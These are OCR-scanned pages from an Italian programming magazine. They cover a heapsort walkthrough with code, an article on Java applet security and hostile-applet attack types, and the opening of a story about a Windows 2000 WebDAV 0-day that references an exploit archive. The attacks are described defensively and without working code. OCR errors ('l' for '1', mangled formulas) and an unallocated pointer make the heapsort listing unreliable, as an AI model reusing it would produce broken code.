sia i singoli elementi del vettore in questione). L'in- 
tervallo corrente sarà contenuto nella variabile k, 
mentre la s conterrà la posizione corrente della senti- 
nella. Il secondo ciclo di for, non fa altro che imple- 
mentare il conosciuto metodo insertion sort sulla ca- 
tena di valori associati all'indice/, si noti come questo 
ultimo viene, ad ogni iterazione, decrementato di k 
(ampiezza dell'intervallo della catena) e come even- 
tualmente, in caso di mancato ordinamento, si effet- 
tui lo scambio con x che mantiene temporaneamente 
il valore di riferimento per il confronto. Le ultime 
considerazioni sul metodo ci impongono di ricordare 
gli studi del conosciuto Knuth, che attraverso un pro- 
cedimento empirico ha stabilito alcune sequenze di 
ampiezze di intervalli di catene che forniscono buone 
soluzioni. Alcune di esse scritte in ordine inverso so- 



1,4,13,40,121, 
1,3,7,15,31,.. 



HEAP SORT 

Tale metodo, certamente più popolare del preceden- 
te, nella comunità dei programmatori, si basa sul con- 
cetto di heap, letteralmente mucchio. Un heap è un in- 
sieme di elementi (al, al, ..., art) parzialmente ordi- 
nati. L'ordinamento parziale è assicurato dalla se- 
guente proprietà: 

ai >= ai/2 

per ogni i appartenente all'intervallo [l,n] con n car- 
dinalità dell'insieme. La frazione è intesa come quo- 
ziente intero. Realizzare un algoritmo che implemen- 
ti tale metodo significa, sulla base di un insieme di 
numeri disordinati, effettuare una opportuna permu- 
tazione in modo che costituiscano un heap, estrarre il 
primo elemento dall'heap, considerato che sarà il va- 
lore più piccolo e ripetere il procedimento sul restan- 
te insieme. Ad ogni passata si estrarrà il valore più 
piccolo che permetterà così la costruzione finale del 



vettore ordinato. Come per il caso precedente prima 
di affrontare la parte meramente tecnica sviluppiamo 
un esempio su un simbolico vettore di 5 elementi. Per 
semplicità ad ogni passata la testa dell'heap verrà ri- 
copiata su di un secondo vettore, che ad ogni modo 
può essere risparmiato. Inizialmente si considera un 
vettore disordinato come segue: 

7, 15, 4, 1, 3 

Come scritto, il primo passo è quello di costruire 
l'heap, tale operazione viene sviluppata per fasi, co- 
me mostrato nella tabella di seguito. Per riga si può 
esaminare come viene costruito l'heap (ogni riga rap- 
presenta nelle sue prime cinque caselle il vettore e 
nell'ultima la fase del processo generativo). Con il 
trattino si indica che, al momento, la casella non con- 
tiene valori. Il simbolo asterisco segnala che il vettore 
parziale corrispondente a quella determinata fase 
non è un heap. 



Vettore (heap) - temp 


Fase 


7 


- 


- 


- 


- 


1 


7 


15 


- 


- 


- 


2 


7 


15 


4 


- 


- 


3* 


4 


15 


7 


- 


- 


4 


4 


15 


7 


1 


- 


5* 


4 


1 


7 


15 


- 


6* 


1 


4 


7 


15 


- 


7 


1 


4 


7 


15 


3 


8* 


1 


3 


7 


15 


4 


9 



Inizialmente (fase 1), viene ricopiato nell'heap il pri- 
mo elemento del vettore. Ovviamente, questo insie- 
me degenere (poiché costituito da un singolo nume- 
ro) è un heap, infatti, rispetta le proprietà. Successi- 
vamente si aggiunge il secondo numero. Anche il 
nuovo mini vettore è un heap, come si può notare 
temp[2]>temp[l]. Al terzo passaggio, l'aggiunta del 
nuovo numero rende il vettore in fase di costruzione 
non un heap, nella tabella l'evento è segnalato con 
asterisco. Bisogna quindi scambiare, ottenendo così il 
risultato di fase 4 che è un heap. Lo scambio non può 
produrre situazioni per le quali altri elementi dell'in- 
sieme non rispettino con la nuova configurazione le 
proprietà dell'heap, poiché dopo gli scambi le disu- 
guaglianze sono maggiormente verificate. L'aggiunta 
del quarto elemento impone un doppio scambio for- 
nendo il doppio risultato prima di fase sei e poi di fa- 
se sette. In queste ultime fasi il vettore non costituiva 
heap poiché nel primo caso si presentava temp[4] 
<temp[2] e nel secondo caso temp[2]<temp[l]. L'ultimo 
inserimento, del quinto numero non genera il ricer- 
cato mucchio poiché non è rispettata la condizione 
temp[5]>temp[2] quindi si procede allo scambio che 
sancisce l'ultimo passo per la produzione del vettore 
heap (fase 9). Terminata la fase di costruzione bisogna 
procedere con l'estrazione degli elementi dall'heap 



36 ►►► Maggi 



3 



http: //www. itport al.it 



per la generazione del vettore ordinato. Ogni qual 
volta si estrae un elemento dal mucchio (il primo per- 
ché il più piccolo parziale) bisogna ricomporre l'heap 
al vettore rimanente. Prima di esaminare questa se- 
conda fase strutturiamo l'intero algoritmo per fornire 
una indicazione, seppure sommaria, delle macro atti- 
vità da realizzare. Secondo uno schema top down, 
l'algoritmo può essere così schematizzato: 

Costruzione heap 
Ripeti 

Estrazione dell'elemento di testa dall'heap 

Ricostruzione heap 
Finché l'heap è vuoto 

Con riferimento all'esempio proposto, ci tocca esami- 
nare come si evolve la fase presentata come ciclo di 
ripeti. In questo nuovo prospetto oltre al vettore di no- 
me temp che contiene l'heap è presentato il target os- 
sia il vettore arr che man mano viene costruito è al ter- 
mine risulterà totalmente ordinato. 



Vettore 


1° 


2° 


3° 


4° 


5° 


Fase 


arr 


1 


- 


- 


- 


- 


1 


temp 


- 


3 


7 


15 


4 


2* 


temp 


4 


3 


7 


15 


- 


3* 


temp 


3 


4 


7 


15 


- 


4 


arr 


1 


3 


- 


- 


- 


5 


temp 


- 


4 


7 


15 


- 


6 


Temp 


15 


4 


7 


- 


- 


7* 


temp 


4 


15 


7 


- 


- 


8 


arr 


1 


3 


4 


- 


- 


9 


temp 


- 


15 


7 


- 


- 


10 


temp 


7 


15 


- 


- 


- 


11 


Arr 


1 


3 


4 


7 


- 


12 


temp 


- 


15 


- 


- 


- 


13 


temp 


15 


- 


- 


- 


- 


14 


arr 


1 


3 


4 


7 


15 


15 



Dopo aver riportato in arr il primo elemento (il più 
piccolo) bisogna ricomporre l'heap; si procede spo- 
stando l'ultimo elemento in prima posizione {fase 3), e 
applicando nuovamente la regola. Questa volta però, 
si ragiona esaminando inizialmente il primo elemen- 
to, dovrà quindi risultare che temp[l]<temp[2] e che 
templi] <temp[3]. Ovviamente se l'heap fosse stato più 
"popolato" si sarebbe reso necessario il controllo del- 
le caselle di indice multiplo a quelle appena analizza- 
te, ma nel caso in esame non esistono. Si procede tro- 
vando il minimo tra i due elementi di indice due e tre 
ed effettuando, se necessario, lo scambio, come si ri- 
leva nella fase 4. Il risultato parziale ottenuto per co- 
me costruito è un heap, quindi si estrae il primo ele- 
mento, lo si colloca nel target e si itera il procedimen- 
to. Si possono esaminare nel dettaglio tutti i passi che 
conducono all'obiettivo del completo ordinamento 
del vettore arr. Una possibile implementazione può 
essere quella di seguito proposta. Essa segue la trac- 
cia proposta dall'analisi top down. In conformità con 
l'esempio analizzato con temp indichiamo l'heap e 
con arr il target. Un utile esercizio è il ruolo che gio- 



cano alcune variabili. 

voìd heapsort(int *arr) 
{ int i,j,k,z,q,swh,w,h,im; 

int *temp; // array temporaneo contenente l'heap 

bool is_heap; 

// Costruzione heap 

for (i=l; i<=n; i ++) 

{ temp[i]=arr[i]; 

z=i; 
is_heap=false; 

while ((z>l) && (! is_heap)) 

{ q= z/2; // quoziente 
if (temp[z]<temp[q]) 
{ swh=temp[z]; temp[z]=temp[q]; 

temp[q]=swh; } 
else is_heap=true; } }; 
// ricostruzione del vettore ordinato 

for (i = l; i< = n; i++) 

{ arr[i]=temp[l]; 
k=n-i; 

temp[l]=temp[k+l]; 
is_heap=false; 

z=l; 

while ((! is_heap) && (2*z <= k)) 

{ w=2*z; h=w+l; 
im = h; 

if (h > k) im=w; 

else if (temp[w] < temp[h]) im=w; 
if (temp[z]>temp[im]) 
{ swh=temp[z]; temp[z]=temp[im]; 

temp[im]=swh; 
z=im; } 
else 
is_heap=true; }}} 

ULTERIORI ANALISI 
SUI METODI 

Per lo shell sort si è concordi con l'affermare che la 
complessità è proporzionale a 0(n 12 ). Con riferimento 
all'heap sort è certamente possibile sviluppare un al- 
goritmo che usa un solo vettore, risulta solo più com- 
plicato il codice che lo implementa. Nel valutare la 
complessità dell'algoritmo bisogna tener conto che 
esso consta di due cicli distinti che si occupano della 
creazione e ricomposizione dell'heap. Come è facile 
intuire i due frammenti di codice hanno la stessa 
complessità. Ma quanto vale ognuna? Nel caso peg- 
giore bisogna trasferire un numero dal fondo fino al 
primo elemento lungo indici di posto man mano di- 
mezzato n, n/2, n/4 fino ad arrivare al primo. Questa 
serie, come gli amanti della matematica possono con- 
fermare, è un logaritmo. Essendo il ciclo ripetuto n 
volte, in definitiva la complessità di un singolo stadio 
è O(n*log(n)) ed in totale, quindi, O(2*n*log(n)) che 
può essere approssimata a O(n*log(n)). Mi sembra un 
ottimo risultato, che ne pensate? 

Fabio Grimaldi 



Bibliografia 



• ALGORITMI + 
STRUTTURE DATI = 
PROGRAMMI 
Niklaus Wirth 
(Tecniche nuove) 

• SOLUZIONI 
Fabio Grimaldi 
ioProgrammo n. 67 



http: //www. itport al.it 



g g 



2 3 ►►► 37 



■*■*-*<■*■*-*<<■*<■*< TEORIA E 



TECNICA 



La sicurezza 



IN JAVA 




5;:-'-;:a»gs 



Si sente spesso parlare 

di Java. Cerchiamo 

di comprendere alcune 

caratteristiche di questo 

linguaggio in relazione 

alle possibili problematiche 

di sicurezza. 



Iava è forse il linguaggio più utilizzato in In- 
ternet, anche se può essere ugualmente usa- 
to per sviluppare applicazioni in ambito tra- 
ionale. Una delle principali caratteristiche 
di Java è la portabilità, ovvero l'indipendenza 
dalla piattaforma, ossia la capacità di un pro- 
gramma ad essere eseguito su sistemi operativi 
differenti. Anche se non ce ne rendiamo conto, 
noi tutti quando navighiamo in rete abbiamo a 
che fare con Java, visto che da quale anno, in- 
fatti, tutti principali browser sono predisposti 
per poter eseguire codice Java sul nostro perso- 
nal computer, in modo da rendere più interatti- 
va la navigazione stessa. 

Ma quali garanzie sulla sicurezza dei dati e sul- 
la privacy può offrire Java? Per cercare di dare 
una risposta, o meglio, per fornire alcuni punti 
di riflessione sull'argomento, cerchiamo di 
comprendere, almeno a grandi linee, alcune 
specifiche di questo linguaggio, soprattutto in 
relazione agli aspetti della sicurezza. 

JAVA ED IL SUO 
MODELLO DI SICUREZZA 

Il linguaggio Java è stato congegnato in modo 
da minimizzare la possibilità agli sviluppatori 
di commettere errori di programmazione, che 
potrebbero portare a problemi di sicurezza, co- 
me ad esempio i buffer overflow, fornendo dei 
meccanismi di sicurezza trasparenti, che non ri- 
chiedono nessuna conoscenza specifica da par- 
te dell'utente. Questo è possibile in quanto una 
delle prerogative del modello di sicurezza di 
Java è quella di proteggere l'utente finale da 
applet potenzialmente ostili e/o provenienti da 
sorgenti poco affidabili. Il modello della sicu- 
rezza di Java ha la possibilità di creare una mol- 
teplicità di tipologie di permessi, a seconda del- 



le esigenze, controllando nei minimi dettagli 
tutti gli aspetti coinvolti. 



Sicurezza 



Codice locale o remoto (firmato o no) 

ì 










*S / \ 


sandbox 




\ 






Risorse disponibili (filen ecc.) 









Fig. 1: Schema di architettura Java. 

Java implementa inoltre la firma del codice 
proveniente dall'esterno, fornendo la possibi- 
lità all'utente di scegliere se eseguirlo o meno, 
a seconda dell'affidabilità della firma. 
L'ambiente di sviluppo Java, comprende tre 
componenti. 

• Un linguaggio di programmazione, che ha 
la capacità di compilare il sorgente in un 
formato intermedio e indipendente dall'ar- 
chitettura e dalla piattaforma, chiamato by- 
tecode; 

• La Java Virtual Machine (JVM); 

• Un ambiente di esecuzione nella JVM che 
fornisce alcune classi base utili per costruire 
applicazioni complete. 

È poi presente un ambiente denominato sand- 
box, che impedisce l'esecuzione di operazioni 
privilegiate, senza l'esplicito consenso dell'u- 
tente. Al suo interno avviene l'esecuzione dei 
vari applets, una volta che essi siano stati scari- 
cati da un server remoto, senza influire mini- 
mamente sul comportamento dell'host stesso. 
Una sandbox è composta dai seguenti compo- 
nenti che lavorano contemporaneamente: 

• Il Bytecode Verifier: assicura che solo legitti- 
mi bytecode vengano eseguiti; 

• Il Class Loader: rende dinamico Java imple- 



Applicazioni 
Java 

y~& Sviluppato dalla Sun 
^ Microsystem Java è 
un linguaggio di pro- 
grammazione ad oggetti. 
Esso può essere utilizza- 
to per creare due tipolo- 
gie di programmi: 

1. APPLICAZIONE: un 
programma che "gira" 
sul computer dell'utente 
stesso sotto il suo siste- 
ma operativo; 

2. APPLET: un'applicazio- 
ne concepita per essere 
localizzata su Internet ed 
eseguita dal browser 
Web, che deve essere 
compatibile con Java. In 
questo caso il Web brow- 
ser scarica i frammenti di 
codice per poi eseguirli 
localmente. 



http: //www. itport al.it 



g g 



3 ►►► 39 




Sicurezza 



La sicurezza 

in Java 



r-S. ' 



L'ambiente 
Sandbox 

Una sandbox è com- 
posta dai seguenti 
componenti che lavora- 
no contemporaneamen- 
te: 

• Il Bytecode Verifier: 
assicura che solo legitti- 
mi bytecode vengano 
eseguiti; 

• Il Class Loader: rende 
dinamico Java imple- 
mentando le classi; 

• Il Security Manager: 
controlla l'accesso alle 
risorse del sistema. 



meritando le classi; 

• Il Security Manager: controlla l'accesso alle 
risorse del sistema. 

La Fig. 2 mostra come le parti che formano la 
sandbox lavorino insieme per garantire l'esecu- 
zione di codice affidabile. Il codice Java sorgen- 
te è compilato in un bytecode che risiede su un 
server e il codice HTML, all'interno di una pa- 
gina Web, specifica quale applet deve essere 
preso da quel Web server. 



Bytecode sul 
server web 



Bytecode Class Security 

Verifier 3 Loader Manager 


2 4 5 ''6 
V 


Java Virtual Machine 



Fig. 2: Struttura della sandbox. 

La richiesta del browser, quando si seleziona il 
corrispondente link, preleva quindi l'applet 
sotto forma di bytecode dal server (1), lo verifi- 
ca (2), lo istanzia in una classe o in un insieme 
di classi (3). Solo a questo punto è eseguito. Nel 
momento in cui l'applet dovesse invocare un 
metodo potenzialmente pericoloso (4), il Secu- 
rity Manager viene consultato (attraverso la Ja- 
va Virtual Machine) prima che il metodo stesso 
venga effettivamente eseguito (5), quindi ese- 
gue i controlli a run-time sulla base dell'origine 
e dei metodi della classe chiamante e, nel caso 
ci sia pericolo, ha l'autorità di vietare l'opera- 
zione (6). 

Il Security Manager, quindi, salvaguarda la si- 
curezza classificando le chiamate potenzial- 
mente pericolose al sistema operativo (che gira 
sotto la Virtual Machine). In questo modo, ven- 
gono bloccate le risorse che altrimenti sarebbero 
abusate dal codice mobile. Per quando riguarda 
il bytecode, dato che "gira" all'interno della Ja- 
va Virtual Machine, può essere eseguito su tut- 
te le piattaforme in cui vi sia la JVM. Oggi tutti 
i browser, quali ad esempio Internet Explorer, 
Netscape, Opera o Mozilla hanno la propria 
versione della JVM incapsulata al loro interno. 
Se un utente accede ad una pagina HTML che 
include il tag <APPLET>, il browser è in grado 
di eseguire autonomamente l'applet Java trami- 
te la sua JVM. Al Security Manager è stato af- 
fiancato un altro strumento molto importante, 
chiamato Access Controller (AC), il quale per- 
mette di personalizzare gli accessi. Esso, infatti, 
consente al codice di fare gradualmente delle 
operazione al di fuori della sandbox (cosa che 



nella precedente versione di Java era assoluta- 
mente vietato), specificandone però gli adegua- 
ti permessi. Pertanto, il bytecode può eseguire 
delle operazioni potenzialmente pericolose: 
quando ciò si verifica, l'Access Controller con- 
sulta la politica (impostata in un file di configu- 
razione) dei permessi adottata e usa il meccani- 
smo di stack inspection per decidere se per- 
mettere o respingere l'operazione. Nonostante 
questo sistema intrinseco di Java, col passare 
del tempo si sono riscontrate delle problemati- 
che inerenti la sicurezza, spesso dovuti a bug 
presenti nella JVM ma non solo. Tali debolezze 
possono essere ovviamente sfruttate da applets 
scritti ad hoc, che vengono chiamati applets 
ostili. Sovente non fanno altro che dare effetti 
indesiderati, come finestre che si aprono sullo 
schermo con suoni e/o immagini diversi, ma 
anche peggio come violare la privacy dell'uten- 
te con un eventuale prelievo di informazioni 
sensibili. Vediamo alcuni esempi particolar- 
mente significativi di tali applets, dato che na- 
vigando per la Internet se ne possono facilmen- 
te trovare ed è quindi opportuno che chiunque 
abbia qualche nozione sull'argomento. 



DNS SPOOFING 

Quando il browser di un utente richiede un ap- 
plet, questo potrebbe creare una connessione 
con un'altra macchina inaffidabile, eludendo le 
protezioni di un possibile firewall. Per evitare 
tale situazione, è stata definita una particolare 
regola, la quale indica che un applet Java può 
creare una connessione solo con il server da cui 
ha effettivamente origine. 
Per fare rispettare questa regola si procede co- 
me segue: 

1. Mediante il DNS viene tradotto il nome del 
server Web in una lista di indirizzi; 

2. Mediante il DNS viene tradotto il nome del- 
la macchina a cui vuole connettersi l'applet 
in una lista di indirizzi; 

3. Si confrontano le due liste. Se ogni indirizzo 
appare in entrambe le liste, allora la connes- 
sione è consentita, altrimenti viene rifiutata. 

Questo approccio a prima vista sembra molto 
valido, ma nasconde delle insidie, in quanto un 
attacco di spoofing si basa proprio sul fatto che 
esso in realtà è troppo permissivo. Infatti, il 
DNS permette ad un hostname di avere associa- 
ti più indirizzi IP multipli. Quindi compromet- 
tendo un server DNS, è possibile associare al- 
l'host che esegue l'attacco (e che viene richia- 
mato dall'applet) oltre al suo indirizzo, un altro 



40*** M a g g 



2 3 



http: //www. itport al.it 



TECNICA 



che effettivamente appartiene all'host bersaglio. 
A questo punto, poiché il Security Manager 
permette una connessione verso qualsiasi indi- 
rizzo associato con l'hostname di provenienza 
(che richiama l'applet), l'applet ostile è in grado 
di connettersi con la macchina obiettivo. 



TROJAN HORSE 

Un trojan horse è un programma che mentre 
sembra eseguire una particolare funzione, in 
realtà ne esegue anche un'altra potenzialmente 
nociva in modo invisibile all'utente. Questo at- 
tacco può riuscire ad oltrepassare le protezioni 
di Java poiché un programma normalmente ere- 
dita i suoi diritti di accesso dall'utente che lo ha 
eseguito in base a quanto stabilito nel Security 
Manager. 
Alcuni esempi di trojan horse sono: 

• Un applet che visualizza un'animazione al- 
l'interno del browser, mentre in maniera oc- 
cultata cerca dei file all'interno dell'hard di- 
sk, per poi spedirli ad un particolare indi- 
rizzo e-mail all'insaputa dell'ignaro utente. 

• Un applet che esegue un gioco con l'utente e 
che nascostamente apra una sessione xterm 
controllata in remoto dall'esterno (in questo 
modo è possibile eseguire comandi sulla 
macchina dell'utente che subisce l'attacco, 
anche con fini molto pericolosi e distruttivi). 

• Un applet che crea una finestra nascosta - 
magari molto piccola, trasparente o altro- ri- 
manendo invisibile all'utente mentre ne leg- 
ge i tasti premuti dall'utente, in modo da 
carpire informazioni riservate quali codici 
di accesso a servizi o password di vario ge- 
nere. 



TYPE CONFUSION 

Qualche anno addietro, fu scoperto un difetto 
all'interno di un componente fondamentale 
della Java Virtual Machine di Netscape: in alcu- 
ni casi la JVM non riusciva a controllare tutto il 
codice che veniva caricato al suo interno, per- 
mettendo ad un utente malintenzionato di vio- 
lare le politiche di protezione dei tipi di Java. 
Un attacco di questo tipo, crea due puntatori al- 
lo stesso oggetto, etichettandoli però con tipi 
incompatibili. 

Come si vede nella Fig. 3, entrambe le classi A e 
B hanno un riferimento alla stessa classe C, che 
però è considerata in maniera diversa dalle due 
classi. Se il codice in A alloca un oggetto di tipo 
C e successivamente lo passa a B, allora il Byte- 
code Verifier suppone che sia tutto regolare e 



CI 


X 

B X X B 

C |< ► C 


ci 
1 




Fig. 3: Esempio di Type Confusion Attack. 



permette l'operazione. Quando B accede all'og- 
getto, lo fa in base alla sua definizione di C e si 
crea in questo modo una confusione dei tipi. 



DENIAL OF SERVICE 

Questi applets hanno come obiettivo principale 
quello di rendere inutilizzabile la macchina del- 
l'utente. Un sistema potrebbe essere quello di 
utilizzare tutte le risorse della CPU e tutta la 
memoria disponibile. Sicuramente gli applets 
più conosciuti e più diffusi che eseguono que- 
sto tipo di attacco sono quelli che hanno la pos- 
sibilità di aprire un numero elevato di finestre 
molto grandi, che riempiono lo stack degli 
eventi del Windows manager, in tal modo ven- 
gono disabilitati definitivamente sia il mouse 
che la tastiera, rendendo praticamente inutiliz- 
zabile il sistema stesso, rimanendo come unico 
rimedio il suo riavvio del sistema stesso. Anco- 
ra, si potrebbe avere un applet che contiene al 
suo interno un ciclo di messaggi alert infinito. 
Quando tale applet viene scaricato, il sistema 
inizia a visualizzare i messaggi uno dopo l'al- 
tro, esaurendo in un loop la memoria disponi- 
bile e rendendone inutilizzabile il sistema. 
Un altro metodo, infine, può essere quello di far 
andare in crash qualche applicazione importan- 
te tipo il browser: un esempio lo possiamo ve- 
dere collegandoci al link http://wwiv.cs.nps.navy 
.mil/research/languages/DynApplet.html, ma at- 
tenzione ad eventuali segnalazioni da parte di 
un eventuale antivirus montato sul proprio pc. 
Oggi, infatti, per una maggior protezione alcu- 
ni antivirus segnalano anche la presenza di ap- 
plet potenzialmente ostili mentre si naviga, ap- 
plet che però non sono affatto virus ma un'altra 
cosa! 



SNOOPING WINDOWS 

Questo applet è in grado di monitorare in mo- 



Sicurezza 



La sicurezza 

in Java 



Esempi di 
Trojan Horse 

,,s • Un applet che vi- 
■'-J sualizza un'anima- 
zione all'interno del 
browser, mentre in ma- 
niera occultata cerca dei 
file all'interno dell'hard 
disk, per poi spedirli ad 
un particolare indirizzo 
e-mail all'insaputa dell'i- 
gnaro utente. 

• Un applet che esegue 
un gioco con l'utente e 
che nascostamente apra 
una sessione xterm con- 
trollata in remoto dall'e- 
sterno (in questo modo 
è possibile eseguire co- 
mandi sulla macchina 
dell'utente che subisce 
l'attacco, anche con fini 
molto pericolosi e di- 
struttivi). 

• Un applet che crea una 
finestra nascosta -maga- 
ri molto piccola, traspa- 
rente o altro- rimanendo 
invisibile all'utente men- 
tre ne legge i tasti pre- 
muti dall'utente, in mo- 
do da carpire informa- 
zioni riservate quali co- 
dici di accesso a servizi o 
password di vario gene- 
re. 



http: //www. itport al.it 



Maggio 



2 3 ►►► 41 




SBS^ pjaaaygg^ 



Sicurezza 



La sicurezza 



Sul Web W 

Maggiori informazioni re- 
lative agli applet Java e 
ai sistemi di protezione 
dello stesso linguaggio, 
sono disponibili ai se- 
guenti indirizzi Internet: 

http ://iava, sun.com 
http: //www, bell-labs.com 

Le patch di aggiorna- 
mento dei vari browser 
si possono trovare, ov- 
viamente, sui siti dei ri- 
spettivi produttori. 



do remoto le attività Web di un utente. L'attac- 
co si verifica nel momento in cui l'utente carica 
all'interno di una sessione di lavoro una pagi- 
na HTML apparentemente sicura, mentre in 
realtà essa contiene un applet che mediante la 
funzione zvindows.openO, apre un ulteriore do- 
cumento HTML, contenente uno script ostile, 
in un'altra finestra. Mediante questo script, è 
possibile che venga preso il controllo del siste- 
ma dall'esterno, e che tutte le attività dell'uten- 
te siano monitorate violando le norme di pri- 
vacy, portando alla: 

• Osservazione degli indirizzi URL visitati; 

• Osservazione dei dati immessi nelle FORM 
HTML; 

• Osservazione del contenuto dei cookies. 

Naturalmente, a svantaggio del successo del- 
l'attacco, vi è la difficoltà di nascondere ad un 
utente una finestra; tuttavia poiché molti siti 
utilizzano finestre multiple a cascata, quella 
contenente lo script ostile potrebbe non destare 
sospetto e non essere quindi riconosciuta come 
potenzialmente pericolosa. 

PROTEGGERSI DAGLI 
ATTACCHI: DISABILITARE 
JAVA NEL BROWSER 

Ovviamente, la contromisura più sicura ai pos- 
sibili attacchi portati mediante applet Java osti- 
li, è la completa disabilitazione di Java. Questa 
è una soluzione molto drastica, in quanto, in tal 
modo, viene preclusa la possibilità di visualiz- 
zare siti che contengano al loro interno applet 
Java. Ad esempio, in Internet Explorer è possi- 
bile fare questo utilizzando le aree di protezio- 
ne messe a disposizione da Windows, troppo 
spesso forse dimenticate ed inutilizzate. Se- 
guendo da Internet Explorer il percorso di me- 
nu "Proprietà - Protezione", si seleziona ini- 
zialmente l'area alla quale impostare la prote- 
zione - esistono infatti quattro aree: Internet, 
Intranet Locale, Siti Attendibili e Siti con restri- 
zioni- e successivamente si imposta il livello di 
protezione desiderato (Alto, Medio, Medio- 
Basso o Basso) selezionando l'opzione "Perso- 
nalizza livello". E consigliabile impostare la 
protezione "Alta" all'area "Internet", in quanto 
questa contiene tutti i siti che non appartengo- 
no alle altre aree, e quindi anche quelli più pe- 
ricolosi. 

La Fig. 4 mostra come disabilitare Java e l'ese- 
cuzione di applet una volta impostata la prote- 
zione al valore "Alta". Per evitare una "auto- 
censura" che precluda la visione di ogni sito 



contenente del codice Java, si possono inserire 
i siti che usano gli applet e che sono ritenuti in- 
nocui all'interno dell'area "Siti Attendibili", 
nelle protezioni di Internet Explorer, e associa- 
re a tale area un livello di protezione medio, 
che consenta anche l'esecuzione degli applet. 
A causa dei problemi che si possono riscontra- 
re in questo caso, la scelta dei siti attendibili 
deve essere molto accurata. 



Impostazioni protezione 



Impostazioni: 





M 


Esecuzione script delle 
© Attiva 

O Chiedi conferma 
O Disattiva 


applet lava 


3 


Microsoft VM 






a 


Autorizzazioni Java 
O Disattiva Java 
O Personalizzate 
© Protezione alta 
O Protezione bassa 
O Protezione media 




*] 


Varie 






w 


Accesso a origini dati attraverso domini 






J*\ AH-i. i-, 




< 






i •« 



-Impostazioni personalizzate - 
Reimposta a: Media 



▼ | Reimposta 



OK 



] 



Annulla 



Fig. 4: Disabilitazione di Java in Internet Explorer. 



Altra soluzione, meno drastica, è quella di 
mantenere aggiornati con le patch più recenti i 
relativi browser, in modo da correggere repen- 
tinamente i vari problemi che costantemente 
vengono scoperti ed identificati nella JVM in 
relazione alle questioni di sicurezza. 



CONCLUSIONI 

Senza drammatizzare, occorre tenere ben in 
mente che esistono problemi di sicurezza noti, 
più o meno gravi, mentre probabilmente altri 
nasceranno in futuro. Una "cultura della sicu- 
rezza" è quindi necessaria. Se da un lato è fuo- 
ri luogo risolvere il problema eliminando que- 
sti strumenti, è altrettanto pericoloso sottova- 
lutare i possibili rischi, pensando di esserne 
immuni. 

Seguendo l'evoluzione di questi pacchetti 
software, aggiornando i propri browser, man- 
tenendosi informati sugli ultimi exploit, si può 
continuare ad utilizzare correttamente Java e 
sfruttarne appieno le notevoli potenzialità, mi- 
nimizzando il pericolo di intrusioni e violazio- 
ni della propria privacy, nonché della sicurezza 
dei propri dati personali e non. 

Andrea Faenza 



42*** m 



g g 



2 3 



http: //www. itport al.it 



G I 



E x p 



della 



p r o g r a 



m a z i o n e 



Windows 2000 

Messo in crisi da uno 0-day exploit 

La scoperta di nuovi exploit per i sistemi operativi sembra essere un'attività 
svolta solo da ricercatori professionisti, che costantemente pubblicano le loro 
scoperte sulle mailing list come Bugtraq. Ma cosa accade invece se i primi 
a scoprire un nuovo exploit sono invece gli hackers? 



File sul CD 



\soft\codice\WebDAV_exploit.zip 



File sul Web 



www.itportal.it/iop69 
/ WebDAV_exploit.zip 




Fig. 1: WebDAV è stato usato dagli 
hackers come veicolo per lanciare 
un attacco rivolto alla libreria 
NTDLL.DLL, ma non è escluso che 
presto vengano alla luce altri 
software sensibili a questo 
exploit. 



0, 



Buffer Overflow 

Per comprendere i buffer 
overflow e capire più da vici- 
no come sia possibile eseguire 
codice nello stack, un ottimo rife- 
rimento è quest'articolo postato 
su windowsecurity.com 
http://www,windowsecuritv,com/ 
artides/Analvsis of Buffer Overflow 
Attacks.html 



WebDAV 



SL 



Web-based Distributed Au- 
thoring and Versioning. 
Estensione per il protocollo HTTP 
creata da Microsoft per ag- 
giungere funzionalità di gestione 
file (upload, download, check- 
out) agli utenti remoti. US 5.0 su 
Windows 2000 monta per default 
questo componente. 



Ciò che è accaduto il 10 Marzo ha 
dato uno scossa a tutto il mondo 
dell' information security e deve 
servire da lezione per tutti i contestatori 
della politica del "full-disclosure" nel- 
l'ambito delle mailing list di sicurezza. 
Stati Uniti, un giorno come tanti: l'ammi- 
nistratore di sistema di una base militare 
americana non definita (dominio .mil per 
intenderci) nota che uno dei suoi server 
ha iniziato a comportarsi in maniera stra- 
na da alcune ore: ha infatti iniziato a map- 
pare le risorse della rete interna, cercando 
chissà cosa. Si tratta di un Web Server, più 
precisamente di US, installato su una del- 
le tante versioni di Windows 2000. Col 
passare delle ore le stranezze del server 
diventano pian piano visibili e l'ammini- 
stratore capisce ad un certo punto che c'è 
un attacco in corso contro US e decide 
prontamente di resettare la macchina e re- 
installare da zero Windows 2000, con tutti 
i service pack e le patch di sicurezza del 
momento. 

L'episodio sembra finire qui... quando ad 
un tratto il server, re-installato da poco, 
inizia nuovamente a comportarsi in modo 
anomalo, manifestando per la seconda 
volta i segni di una intrusione dall'ester- 
no. 

L'amministratore capisce che sta lottando 
contro qualcosa più grande di lui, decide 
così di contattare gli esperti di Microsoft 
che nel giro di qualche giorno, interve- 
nendo sul posto, capiscono di trovarsi di 
fronte ad un nuovo, grande bug di Win- 
dows 2000 e US. 

ALLARME 

IN CASA MICROSOFT 

Il mondo non vedeva l'annuncio di un 



exploit "Oday" da circa tre anni. Di cosa di 
tratta? Tutti gli esperti di sicurezza e gli 
hackers in genere tengono d'occhio 
costantemente mailing list di sicurezza 
come Bugtraq, VulnWatch, FullDisclosure 
aspettando la pubblicazione di nuovi 
bug. 

Quando viene pubblicata la scoperta di 
un certo bug, si tratta sempre di un bug 
vecchio, scoperto magari un mese prima 
dai ricercatori, che per prima cosa avvisa- 
no i produttori del software interessato, 
cercando così di aiutarli nel realizzare 
una patch in tempo utile. Il lasso di tempo 
in cui un bug viene tenuto segreto serve 
quindi a rendere disponibile una patch al 
mondo e a diminuire la percentuale di 
computer a rischio, perché in questo mo- 
do, prima che il bug diventi un exploit 
alla portata di tutti, molti server saranno 
aggiornati (anche se i worm CodeRed, 
Nimda e SQLSlapper testimoniano che 
non sempre è così....). 
A volte però può capitare che un team di 
hacker scopra un bug nuovo e totalmente 
sconosciuto e decida di non rivelarne l'e- 
sistenza al mondo: gli hackers in questo 
caso hanno tutto il tempo di scrivere e 
testare i loro codici di exploit e inoltre 
possono iniziare a compromettere server 
importanti (come nel caso del server mili- 
tare americano) sicuri di entrare senza 
alcun problema. 

Questo tipo di exploit sono gli "0-day": 
non si trovano cercando su Google, non si 
trovano su Bugtraq, ma sono scambiati e 
conosciuti solo da ristrette comunità di 
hackers, nell'underground delle chat e di 
alcune mailing list molto segrete. Una set- 
timana dopo la scoperta dello 0-day di 
Windows2000, gli hackers, gli studiosi e i 
